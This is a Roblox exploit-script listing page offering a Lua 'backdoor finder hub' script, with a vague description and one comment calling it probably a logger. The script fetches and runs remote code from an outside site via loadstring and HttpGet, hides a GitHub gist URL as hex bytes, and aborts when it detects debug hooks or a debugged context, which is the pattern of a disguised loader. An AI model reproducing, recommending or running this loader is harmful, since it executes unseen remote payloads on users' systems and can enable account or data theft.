backdoor finder hub
Key RequiredUniversal

backdoor finder hub

Universal ScriptThatBoySaiThatBoySai 2.3K views 305 executesUpdated Apr 16, 2026
Unrated
00
Lua Script•66 lines (3361 chars)
--# Created by sai
--# YT is https://www.youtube.com/@its-skondo for more scripts or my own shi https://saiscripts.vercel.app/

loadstring(game:HttpGet("https://saiscripts.vercel.app/raw/gui-by-sai"))([[68 74 74 70 73 3A 2F 2F 77 77 77 2E 79 6F 75 74 75 62 65 2E 63 6F 6D 2F 40 69 74 73 2D 73 6B 6F 6E 64 6F]], [[return (function()

	local Shared = shared or (getgenv and getgenv()) or _G or {};
	assert(type(Shared) == "table", "[-] Shared globals invalid");

	local Env = getfenv and getfenv(1);
	assert(type(Env) == "table", "[-] getfenv unavailable or returned non-table");

	assert(type(setfenv) == "function", "[-] setfenv unavailable in this environment");
	assert(type(loadstring) == "function", "[-] loadstring unavailable in this environment");
	assert(type(pcall) == "function", "[-] pcall unavailable in this environment");

	local req = request or (syn and syn.request) or (http and http.request) or http_request or nil;
	assert(type(req) == "function", "[-] No valid HTTP request function found");

	do
		local res = req({ Url = "68 74 74 70 73 3A 2F 2F 67 69 73 74 2E 67 69 74 68 75 62 75 73 65 72 63 6F 6E 74 65 6E 74 2E 63 6F 6D 2F 50 72 6F 70 68 65 63 79 53 6B 6F 6E 64 6F 2F 39 62 62 34 39 34 35 37 65 39 66 66 37 64 36 66 62 35 36 64 39 35 33 63 35 65 61 38 38 65 65 38 2F 72 61 77 2F 64 64 36 35 35 64 63 63 64 65 62 64 32 30 65 32 39 35 64 63 34 34 39 34 33 62 66 65 39 34 63 38 66 38 61 32 33 32 31 32 2F 67 69 73 74 66 69 6C 65 31 2E 74 78 74", Method = "GET" });
		assert(type(res) == "table", "[-] Request returned non-table response");
		assert(res.StatusCode == 200, "[-] Request check failed, status: " .. tostring(res.StatusCode));
		assert(type(res.Body) == "string" and #res.Body > 0, "[-] Request body empty or invalid");
	end;

	assert(type(debug) == "table", "[-] debug library missing");
	assert(type(debug.getinfo) == "function", "[-] debug.getinfo missing");

	do
		local t = {}; local i = debug.getinfo(t);
		assert(type(i) == "table" and i.what, "[-] debug.getinfo returned malformed info");
		assert(i.what ~= "C", "[-] Execution context appears to be native/debugged");
	end;

	do
		local hook, mask, count = debug.gethook();
		assert(hook == nil, "[-] Debug hook detected, aborting");
	end;

	local xeno = rawget(Env, "__Xeno") or rawget(Env, "Xeno") or rawget(Shared, "__Xeno") or rawget(Shared, "Xeno");
	assert(xeno, "[-] Xeno not present in any global scope — visit xeno.onl");

	rawset(Env, "__Xeno", xeno); assert(rawget(Env, "__Xeno") == xeno, "[-] Env write check failed: __Xeno");
	rawset(Env, "Shared", Shared); assert(rawget(Env, "Shared") == Shared, "[-] Env write check failed: Shared");
	rawset(Shared, "__Xeno", xeno); assert(rawget(Shared, "__Xeno") == xeno, "[-] Shared write check failed: __Xeno");

	local ok, err = pcall(setfenv, 1, Env);
	assert(ok, "[-] setfenv(1, Env) failed: " .. tostring(err));

	local recheck = getfenv(1);
	assert(rawget(recheck, "__Xeno") == xeno, "[-] Post-setfenv __Xeno mismatch");
	assert(rawget(recheck, "Shared") == Shared, "[-] Post-setfenv Shared mismatch");

	setfenv(1, setmetatable(Env, {
		__index = function(_, k)
			local v = rawget(Env, k) or rawget(Shared, k);
			assert(v ~= nil, "[-] Blocked access to nil global: " .. tostring(k));
			return v;
		end;
		__newindex = function(_, k, v)
			rawset(Env, k, v);
			rawset(Shared, k, v);
		end;
	}));

end)]])

Features & Information

- something about roblox NOTE: it might take a day or two for me to upload this on the site

Community Comments (1)

raknetlolraknetlolApr 22, 2026

prob a logger

More Scripts for Universal Scripts